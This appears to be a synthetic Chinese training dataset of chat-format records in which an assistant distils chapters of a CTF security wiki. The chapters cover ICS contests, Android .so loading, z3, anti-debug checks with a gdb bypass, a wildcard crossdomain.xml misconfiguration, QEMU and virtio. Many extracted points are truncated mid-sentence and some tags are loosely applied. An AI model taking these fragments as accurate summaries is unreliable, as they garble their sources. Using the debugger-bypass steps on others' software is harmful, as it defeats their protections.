- 采用CTF分类模型，总结分析当前工控ICS比赛中的关键点 |比赛类型|考察点|与CTF异同| |-------|------|-------| |内网渗透|Web 端渗透测试、CMS 系统、工控发布展示系统、数据库系统|与 Web 渗透相关 |逆向分析|固件分析、工控软件逆向|实际场景逆向| |工控协议|工控流量分析、Misc 类|Misc 流量分析，工控场景流量特征| |工控编程|PLC 编程、HMI 组态、RTU 编程等|工控实际组态软件使用，梯形图识别与分析| 根据漏洞类型其实还可以区分细化题目类型，包...
- |比赛类型|漏洞类型| |-------|------| |内网渗透|Web 类（SQL、XSS、命令注入、敏感文件泄露 .git/.idea/.project 等、） |逆向分析|固件分析、工控软件逆向|实际软件、DLL、ELF、MIPS 逆向| |工控协议|工控流量分析、Misc 类|Misc 流量分析，工控场景流量特征| |工控编程|PLC 编程、HMI 组态|工控实际组态软件使用，梯形图识别与分析| 针对目前出现或曾经出现的 ICS CTF 题目类型，其实与 CTF 竞赛有许多重合点，因此不再此赘述，...

关键术语：
- XSS
- AI安全
- 漏洞利用
- ics
- ctfs.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

国内工控比赛考察点

ICS_CTF 竞赛
国内工控比赛考察点

ICS_CTF 竞赛


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「dvmLoadNativeCode」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/android/basic_operating_mechanism/native_layer/so.md`
标题：so 介绍
章节：so 介绍 > 核心加载流程 > dvmLoadNativeCode
路径分类：android / android/basic_operating_mechanism/native_layer
分块：2/2

核心知识点：
- 本节主题围绕“dvmLoadNativeCode”展开。
- } ` 4. 如果加载成功，就会利用 dlsym 来获取对应 so 文件中的 JNI_OnLoad 函数，如果存在该函数的话，就进行调用，否则，就会直接返回。
- If it doesn't trigger the early- // out above, the libc constructor will be called again (recursively!
- if (vonLoad == NULL) { ALOGD("No JNI_OnLoad found in %s %p, skipping init", pathName, classLoader);
- if (gDvm.verboseJni) { ALOGI("[Calling JNI_OnLoad for \"%s\"]", pathName);
- if (version == JNI_ERR) { detail = strdup(StringPrintf("JNI_ERR returned from JNI_OnLoad in \"%s\"", pathName).c_str());

关键术语：
- 栈
- Android逆向
- AI安全
- 漏洞利用
- android
- basic-operating-mechanism
- native-layer
- so.md

代码/命令片段线索：
- plain: 1 行，首行 `在找到对应的库之后，会使用 `si->CallConstructors();` 来构造相关信息，如下`
- plain: 1 行，首行 `可以看出，正如注释所写的，如说 .init 函数与 init_array 存在的话，程序会依次调用 .init 函数与.init_array 中对应位置的代码。相关说明如下`
- plain: 1 行，首行 `3. 建立一个打开的共享库的 entry，并试图其加入到对应的 list 中，方便管理。如果加入失败的话，就会对其进行释放。`
- plain: 1 行，首行 `4. 如果加载成功，就会利用 dlsym 来获取对应 so 文件中的 JNI_OnLoad 函数，如果存在该函数的话，就进行调用，否则，就会直接返回。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

dvmLoadNativeCode

栈 Android逆向 AI安全 漏洞利用 android basic-operating-mechanism native-layer so.md

so 介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/tools/constraint/z3.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/tools/constraint/z3.md`
标题：z3
章节：z3 > 简介
路径分类：reverse / reverse/tools/constraint
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- Z3 solver 是由微软开发的 可满足性模理论求解器（Satisfiability Modulo Theory solver， 即 SMT solver），用于检查逻辑表达式的可满足性，并可以找到一组约束中的其中一个可行解（无法找出所有的可行解）。
- [图片文件: ./figure/architecture-z3.jpg] 在 CTF 逆向题中，我们有的时候会遇到一些较为复杂的约束条件，此时可以使用 z3 来辅助求解。

关键术语：
- AI安全
- reverse
- tools
- constraint
- z3.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

z3


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/windows/anti-debug/ntglobalflag.md` 中的章节「关于NtGlobalFlag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/windows/anti-debug/ntglobalflag.md`
标题：NtGlobalFlag
章节：NtGlobalFlag > 关于NtGlobalFlag
路径分类：reverse / reverse/platform/windows
分块：1/1

核心知识点：
- 本节主题围绕“关于NtGlobalFlag”展开。
- 在32位机器上, NtGlobalFlag字段位于PEB(进程环境块)0x68的偏移处, 64位机器则是在偏移0xBC位置. 该字段的默认值为0. 当调试器正在运行时, 该字段会被设置为一个特定的值. 尽管该值并不能十分可信地表明某个调试器真的有在运行, 但该字段常出于该目的而被使用. 该字段包含有一系列的标志位. 由调试器创建的进程会设置以下标志位: ``c FLG_HEAP_ENABLE_TAIL_CHECK (0x10) FLG_HEAP_ENABLE_FREE_CHECK (0x20) FLG_HEA...

关键术语：
- 堆
- AI安全
- reverse
- platform
- windows
- anti-debug
- code:c

代码/命令片段线索：
- c: 3 行，首行 `FLG_HEAP_ENABLE_TAIL_CHECK (0x10)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

关于NtGlobalFlag

堆 AI安全 reverse platform windows anti-debug code:c

NtGlobalFlag


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「loadLibrary 加载流程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/android/basic_operating_mechanism/native_layer/so.md`
标题：so 介绍
章节：so 介绍 > loadLibrary 加载流程
路径分类：android / android/basic_operating_mechanism/native_layer
分块：1/1

核心知识点：
- 本节主题围绕“loadLibrary 加载流程”展开。
- The mapping of the specified library name to the full path for loading the library is implementation-dependent. @param libName the name of the library to load. @throws UnsatisfiedLinkError if the library can not be loaded. / public void loadLibrary(String l...
- } `` 可以看出，程序主要的功能正如注释所说 > Searches for a library, then loads and links it without security checks. 而其中所采用的加载函数是 doLoad 函数。
- `java /* Loads and links the library with the specified name.
- } / Searches for a library, then loads and links it without security checks. */ void loadLibrary(String libraryName, ClassLoader loader) { if (loader !
- = null) { String filename = loader.findLibrary(libraryName);

关键术语：
- 栈
- Android逆向
- AI安全
- android
- basic-operating-mechanism
- native-layer
- so.md
- code:java

代码/命令片段线索：
- plain: 2 行，首行 `> > Runtime.getRuntime().loadLibrary(name)`
- java: 49 行，首行 `/**`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

loadLibrary 加载流程

栈 Android逆向 AI安全 android basic-operating-mechanism native-layer so.md code:java

so 介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（2）常见立即数指令（I 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x03 常见指令 > （2）常见立即数指令（I 型）
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（2）常见立即数指令（I 型）”展开。
- I 型指令对寄存器和立即数执行运算，适用于快速计算和常数赋值。

关键术语：
- AI安全
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（2）常见立即数指令（I 型）

Risc-V
0x03 常见指令
（2）常见立即数指令（I 型）

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`
标题：简介
章节：简介
路径分类：ai / ai/ai-for-security/agent
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- Agent Loop 是一种用于实现 AI Agent 的基础执行机制，即 “agent 如何被持续驱动执行的底层控制结构”， 其核心是一个 “观察（Observation）—>状态更新（State Update）—>行动（Action）” 的 循环 ，从而使 AI Agent 能够在环境反馈驱动下逐步完成任务。
- 在 Agent Loop 框架中， AI Agent 首先接收任务目标，并在每一轮迭代中基于当前观测信息与内部状态进行推理，生成下一步行动决策。
- [图片文件: ./figure/agent-loop.jpg] 从系统角度来看，Agent Loop 可以被形式化为一种离散时间的决策过程，其结构类似于部分可观测马尔可夫决策过程（POMDP）的简化实现。
- 在这一过程中， AI Agent 并不直接访问完整环境状态，而是依赖有限的观测与历史信息进行近似决策。
- Agent Loop 本质上是一种通用的基础执行框架的抽象概念，在工程实践中开发者往往会在 Loop 之上构建更复杂的执行策略，例如引入显式规划（Planning）、反思机制（Reflection）或分层控制策略（Hierarchical Control）等。

关键术语：
- AI安全
- ai
- ai-for-security
- agent
- agent-loop

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

AI安全 ai ai-for-security agent agent-loop

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/blockchain/challenges.md` 中的章节「Public Blockchain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/blockchain/challenges.md`
标题：Blockchain Security Challenges
章节：Blockchain Security Challenges > Blockchain Security Challenges in CTF > Public Blockchain
路径分类：blockchain / blockchain/challenges.md
分块：1/1

核心知识点：
- 本节主题围绕“Public Blockchain”展开。
- RealWorld - 2021 + 题目名称 Billboard - DDCTF - 2018 + 题目名称 mini blockchain

关键术语：
- 区块链安全
- AI安全
- blockchain
- challenges.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Public Blockchain

Blockchain Security Challenges
Blockchain Security Challenges in CTF
Public Blockchain

Blockchain Security Challenges


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/introduction/mode.md` 中的章节「基本规则」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/introduction/mode.md`
标题：CTF 竞赛模式简介
章节：CTF 竞赛模式简介 > 攻防模式 - Attack & Defense > 基本规则
路径分类：introduction / introduction/mode.md
分块：1/1

核心知识点：
- 本节主题围绕“基本规则”展开。
- 每回合内，一个战队的一个服务被渗透攻击成功（被拿 Flag 并提交），则扣除一定分数，攻击成功的战队平分这些分数。
- 禁止对赛题以外的比赛平台发起攻击，包括但不限于在 gamebox 提权 root、利用主办方平台漏洞等，违规者立刻被取消参赛资格。
- 每回合内，服务异常和被拿 Flag 可以同时发生，即战队在一个回合内单个服务可能会扣除两者叠加的分数。
- 比赛以指定时间段（通常为 5/10 分钟）为一个回合，每回合主办方会更新已放出服务的 Flag。
- 每回合内，如果战队能够维护自己的服务正常运行，则分数不会减少（如果防御成功加分则会加分）。

关键术语：
- 漏洞利用
- mode.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本规则

CTF 竞赛模式简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/web/introduction.md` 中的章节「XSCH」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/web/introduction.md`
标题：Web 简介
章节：Web 简介 > XSCH
路径分类：web / web/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“XSCH”展开。
- 例如： ``xml <cross-domain-policy> <allow-access-from domain=“”/> </cross-domain-policy> ` 因为跨域策略文件配置为 `，也就指任意域的 Flash 都可以与它交互，导致可以发起请求、获取数据。
- 由于网站开发者在使用 Flash、Silverlight 等进行开发的过程中的疏忽，没有对跨域策略文件（crossdomain.xml）进行正确的配置导致问题产生。

关键术语：
- AI安全
- web
- introduction.md
- code:xml

代码/命令片段线索：
- xml: 3 行，首行 `<cross-domain-policy>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

XSCH

Web 简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/security-for-ai/introduction.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/security-for-ai/introduction.md`
标题：Security for AI
章节：Security for AI > 简介
路径分类：ai / ai/security-for-ai/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- 随着 AI 模型在关键业务和基础设施中的广泛应用，其自身也逐渐成为攻击者的重要目标。
- 因此，Security for AI 的核心在于识别并缓解 AI 生命周期各阶段中的安全风险，包括数据收集、模型训练、部署以及推理过程。
- 与 AI for Security 相对，Security for AI 关注的是如何保护 AI 系统本身的安全性与可靠性。

关键术语：
- AI安全
- 修复/缓解
- 漏洞利用
- ai
- security-for-ai
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

AI安全 修复/缓解 漏洞利用 ai security-for-ai introduction.md

Security for AI


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「Detecting debugging」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/detect-dbg.md`
标题：Detecting debugging
章节：Detecting debugging
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“Detecting debugging”展开。
- 检测调试器的方法很多, 比如检测进程名之类. 这里我们介绍一种方法, 就是通过检测一些函数的调用情况来分析程序当前是否处于被调试状态 ``c int main() { if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) { printf("DEBUGGING...
- } `` 一个进程只能被一个进程ptrace, 如果你自己调用ptrace, 那么其它程序就无法通过ptrace调试或向你的程序注入代码. 如果程序当前被gdb调试, 那么ptrace函数就会返回错误, 也就侧面表明了检测到了调试器的存在.

关键术语：
- AI安全
- reverse
- platform
- linux
- detect-dbg.md
- code:c

代码/命令片段线索：
- c: 9 行，首行 `int main()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Detecting debugging

AI安全 reverse platform linux detect-dbg.md code:c

Detecting debugging


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「6. 调用 Agent Loop」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`
标题：简介
章节：简介 > 教程：构建朴素的 Agent Loop > 6. 调用 Agent Loop
路径分类：ai / ai/ai-for-security/agent
分块：1/1

核心知识点：
- 本节主题围绕“6. 调用 Agent Loop”展开。
- " f" Total time: {time.time() - start_time} seconds." ) ``

关键术语：
- AI安全
- ai
- ai-for-security
- agent
- agent-loop
- code:python

代码/命令片段线索：
- python: 23 行，首行 `def main(argv):`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

6. 调用 Agent Loop

AI安全 ai ai-for-security agent agent-loop code:python

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/introduction/experience.md` 中的章节「线下攻防经验小结」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/introduction/experience.md`
标题：线下攻防经验小结
章节：线下攻防经验小结
路径分类：introduction / introduction/experience.md
分块：1/1

核心知识点：
- 本节主题围绕“线下攻防经验小结”展开。
- 然后比赛时主办方也会给每个参赛队伍提供一台用于 分析网络流量的虚拟机 ，选手需要访问地址下载流量文件进行分析。
- 一般我们需要根据主办方给出的文档要求通过接口提交 flag。
- 首先，正常比赛会提供提交 flag 的接口，接口地址类似 http://172.16.4.1/Common/submitAnswer。
- 在比赛中要求接口地址使用 Post 方式提交，提交时带两个参数，一个是 Answer，其值为获取到的 flag 字符串，而另一个则是 token ，其值为各个队伍的队伍 Token。

关键术语：
- experience.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

线下攻防经验小结

线下攻防经验小结


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「gdb test_debug」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/detect-dbg.md`
标题：Detecting debugging
章节：gdb test_debug
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“gdb test_debug”展开。
- gdb> finish 00x80483d9 <main+29>: add $0x10,%esp 0x80483dc <main+32>: test %eax,%eax 0x80483de <main+34>: jns 0x80483fa <main+62> 0x80483e0 <main+36>: sub $0xc,%esp 0x80483e3 <main+39>: push $0x80484e8 0x80483e8 <main+44>: call 0x80482e0 -------------------...
- `` gdb> set $eax=0 gdb> c everything ok Program exited with code 016. _______________________________________________________________________________ No registers. gdb> ``

关键术语：
- AI安全
- reverse
- platform
- linux
- detect-dbg.md

代码/命令片段线索：
- plain: 1 行，首行 `将函数返回结果eax修改为正确的返回结果, 就可以了`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

gdb test_debug

AI安全 reverse platform linux detect-dbg.md

Detecting debugging


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/basic-knowledge/mm.md` 中的章节「AddressSpace：不同类型的 Guest 地址空间」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/basic-knowledge/mm.md`
标题：QEMU 内存管理
章节：QEMU 内存管理 > Guest VM 视角（GPA） > AddressSpace：不同类型的 Guest 地址空间
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“AddressSpace：不同类型的 Guest 地址空间”展开。
- QTAILQ_ENTRY(AddressSpace) address_spaces_link;
- QTAILQ_HEAD(, MemoryListener) listeners;
- `` 最终我们可以得到如下总览图： [图片文件: ./figure/qemu_mm.png]
- ``c /* struct AddressSpace: describes a mapping of addresses to #MemoryRegion objects / struct AddressSpace { / private: / struct rcu_head rcu;
- AddressSpace 结构体用以表示 Guest 视角不同类型的地址空间，在 x86 下其实就只有两种：address_space_memory 与 address_space_io。

关键术语：
- AI安全
- pwn
- virtualization
- qemu
- basic-knowledge
- code:c

代码/命令片段线索：
- c: 15 行，首行 `/**`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

AddressSpace：不同类型的 Guest 地址空间

QEMU 内存管理
Guest VM 视角（GPA）
AddressSpace：不同类型的 Guest 地址空间

AI安全 pwn virtualization qemu basic-knowledge code:c

QEMU 内存管理


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/classical/polyalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/classical/polyalphabetic.md`
标题：多表代换加密
章节：多表代换加密 > AutokeyCipher > 原理
路径分类：crypto / crypto/classical/polyalphabetic.md
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- 自动密钥密码（Autokey Cipher）也是多表替换密码，与维吉尼亚密码密码类似，但使用不同的方法生成密钥。
- 下面我们以关键词自动密钥为例： `` 明文：THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 关键词：CULTURE ` 自动生成密钥： ` CULTURE THE QUICK BROWN FOX JUMPS OVER THE ` 接下来的加密过程和维吉尼亚密码类似，从相应的表格可得： 密文 ` VBP JOZGD IVEQV HYY AIICX CSNL FWW ZVDP WVK ``
- 自动密钥密码主要有两种，关键词自动密钥密码和原文自动密钥密码。

关键术语：
- 密码学
- AI安全
- crypto
- classical
- polyalphabetic.md

代码/命令片段线索：
- plain: 2 行，首行 `明文：THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG`
- plain: 1 行，首行 `CULTURE THE QUICK BROWN FOX JUMPS OVER THE`
- plain: 1 行，首行 `VBP JOZGD IVEQV HYY AIICX CSNL FWW ZVDP WVK`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

密码学 AI安全 crypto classical polyalphabetic.md

多表代换加密


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/executable/elf/structure/sections.md` 中的章节「Sections」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/executable/elf/structure/sections.md`
标题：Sections
章节：Sections
路径分类：executable / executable/elf/structure
分块：1/1

核心知识点：
- 本节主题围绕“Sections”展开。
- 每一种操作系统都会支持一组链接模型，但这些模型都大致可以分为两种 | 类型 | 描述 | | -------- | ------------------------------------------------------------ | | 静态链接 | 静态链接的文件中所使用的库文件或者第三方库都被静态绑定了，其引用已经被解析了。
- 加载与链接过程需要目标文件中的信息，并且会将处理后的信息存储在一些特定的节区中，比如 .dynamic 。
- | 注意： - 以 “.” 开头的节区名称是系统保留的，当然应用程序也可以使用这些节区。
- | 有一些特殊的节可以支持调试，比如说 .debug 以及 .line 节；
- 目标文件格式允许定义不在上述列表中的节区，可以包含多个名字相同的节区。

关键术语：
- AI安全
- executable
- elf
- structure
- sections.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Sections

AI安全 executable elf structure sections.md

Sections


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/introduction/experience.md` 中的章节「服务 patch 与防御」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/introduction/experience.md`
标题：线下攻防经验小结
章节：线下攻防经验小结 > 服务 patch 与防御
路径分类：introduction / introduction/experience.md
分块：1/1

核心知识点：
- 本节主题围绕“服务 patch 与防御”展开。
- 在上传 patch 的时候应该先删除原来的漏洞程序，然后将 patch 过的程序复制进去，复制进去之后还需要给程序赋予相应的权限。
- 3. 在 patch 程序时要记得备份原来的漏洞程序，以供队伍分析使用。
- 4. 一般比赛中，漏洞程序会有十几处需要 patch 的地方。
- 2. 程序 patch 使用 IDA 进行修改，IDA 提供了三种方式的 patch：byte，word，assemble.其中字节码修改比较好用。
- Patch 的时候不仅要讲究有效合理，还要满足能够在一定程度上防范或混淆对手的分析。

关键术语：
- 修复/缓解
- 漏洞利用
- experience.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

服务 patch 与防御

线下攻防经验小结
服务 patch 与防御

线下攻防经验小结


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「VRing：virtqueue 的基本结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`
标题：IO 虚拟化
章节：IO 虚拟化 > 软件半虚拟化 - virtio > VRing：virtqueue 的基本结构
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“VRing：virtqueue 的基本结构”展开。
- virtqueue 核心的数据结构便是 vring，这是一个环形缓冲区队列，其由三部分组成： - 描述符表（Desc） - 可用描述符数组（Avail） - 已用描述符数组（Used） [图片文件: ./figure/vring.png] 一个描述符（Descriptor）为如下结构，表示了一块 buffer 的基本属性，需要注意的是一个 Avail/Used 表项通常是多个 descriptor 串联的 buffer——这便是 next 域的作用： ``c struct vring_desc { __u64...
- ` Avail 数组用来存储当前可用的描述符： `c struct vring_avail { __u16 flags;
- ` Avail 数组与 Used 数组同样是一个环形队列，不过这两个数组分别由通信的两方进行使用： - 数据发送方准备好数据后从 Avail 队列 中获取可用的表项，更新描述符表，并在 Used 队列 中插入新的表项，通知接收方有数据到达。
- 数据接收方从 Used 队列 中取出表项，读取描述符表以获取数据，完成处理后将表项插入到 Avail 队列` 中。
- 下图为由 Guest 向 Host 发送数据的一个 vring 示例： [图片文件: ./figure/vring_example.png]

关键术语：
- AI安全
- pwn
- virtualization
- basic-knowledge
- io-virtualization.md
- code:c

代码/命令片段线索：
- c: 7 行，首行 `struct vring_desc`
- c: 6 行，首行 `struct vring_avail`
- c: 11 行，首行 `struct vring_used_elem`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

VRing：virtqueue 的基本结构

IO 虚拟化
软件半虚拟化 - virtio
VRing：virtqueue 的基本结构

AI安全 pwn virtualization basic-knowledge io-virtualization.md code:c

IO 虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/tools/constraint/z3.md` 中的章节「求解」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
